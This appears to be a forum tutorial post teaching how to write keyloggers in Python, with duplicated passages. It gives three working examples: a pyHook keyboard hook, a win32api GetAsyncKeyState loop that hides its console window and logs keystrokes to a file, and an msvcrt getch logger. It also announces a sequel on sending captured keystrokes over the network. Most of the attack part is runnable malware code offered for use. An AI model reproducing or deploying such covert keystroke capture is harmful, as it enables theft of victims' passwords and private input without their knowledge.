Writing KeyLoggers
How to Write a software Keylogger
According to wiki key loggers perform the following:
Although now a days you would also want to capture mouse events. I won’t be getting into mouse hooks in this tutorial. Some one else can do that if they like. The language I will use will be python obviously not the best choice but you can convert it into your desired language: C, Java or whatever.
My First example: A Module designed for this purpose:
A lot of languages will have key logging modules already available for use, python has one called PyHook. Here is an example of PyHook
We import our modules then create a function and pass it an event parameter what this does is tell python an event should occur (in this case our keyboard input)
We then call our pyHook functions to listen for our keyboard input.
Wow a keylogger in about 8 – 20 lines of code
Next we can move on to win api
Ok this is a bit more drastic code with some extras. If you don’t know what winapi is I suggest you read up on it. It will give you a lot of insight into coding
import necessary modules
we then hide the console window
try and open a file for logging. Python tends to automagically create one if it’s not there
try:
get our range of Keys and call the winapi GetAsyncKeyState Function what this does according to microsoft
If Shift Q is pressed log data to File
Alright that wasn’t so bad was it 
Now onto a different method kind a
This uses the winapi getchar function on linux you could use sys.stdin(1) and do something similar or curses
Pretty simple code
This is just code to be a starting point I do not say these ways are the best or only ways its more or less meant as a very basic introduction to coding keyloggers
Next article (Sending keystrokes over the network)
Resources
How to Write a software Keylogger
According to wiki key loggers perform the following:
Keystroke logging (often called keylogging) is a method of capturing and recording user keystrokes.
My First example: A Module designed for this purpose:
A lot of languages will have key logging modules already available for use, python has one called PyHook. Here is an example of PyHook
PHP Code:
import pythoncom, pyHook
def OnKeyboardEvent(event):
print event.Key
return True
# create a hook manager
hm = pyHook.HookManager()
# watch for all key events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
We then call our pyHook functions to listen for our keyboard input.
Wow a keylogger in about 8 – 20 lines of code
Next we can move on to win api
PHP Code:
import win32api
import win32console
import win32gui
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
try:
mylog_file = open("/HOME/output.txt","a")
except IOError:
print "Error grabbing file"
else:
while 1:
for i in range(32, 256):
keyit = win32api.GetAsyncKeyState(i)
if keyit == -32767:
keyEnd = 81
mylog_file.write(chr(i))
if i == keyEnd:
mylog_file.close()
keyin = open("/HOME/output.txt","r")
data = keyin.read()
import necessary modules
PHP Code:
import win32api
import win32console
import win32gui
PHP Code:
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
try:
PHP Code:
mylog_file = open("/HOME/output.txt","a")
except IOError:
print "Error grabbing file"
The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
PHP Code:
for i in range(32, 256):
keyit = win32api.GetAsyncKeyState(i)
PHP Code:
keyEnd = 81
mylog_file.write(chr(i))
if i == keyEnd:
mylog_file.close()
keyin = open("/HOME/output.txt","r")
data = keyin.read()
Now onto a different method kind a
PHP Code:
import msvcrt
def main():
while 1:
data = msvcrt.getch()
mylog_file = open("/HOME/output.txt","a")
mylog_file.write(str(data))
mylog_file.close()
if __name__ == '__main__':
main()
Pretty simple code
This is just code to be a starting point I do not say these ways are the best or only ways its more or less meant as a very basic introduction to coding keyloggers
Next article (Sending keystrokes over the network)
Resources
Wiki Keystroke logging - Wikipedia, the free encyclopedia
PyHook SourceForge.net: pyhook home
GetAsyncKeyState GetAsyncKeyState Function ()
Regards,
Atari.2600
PyHook SourceForge.net: pyhook home
GetAsyncKeyState GetAsyncKeyState Function ()
Regards,
Atari.2600
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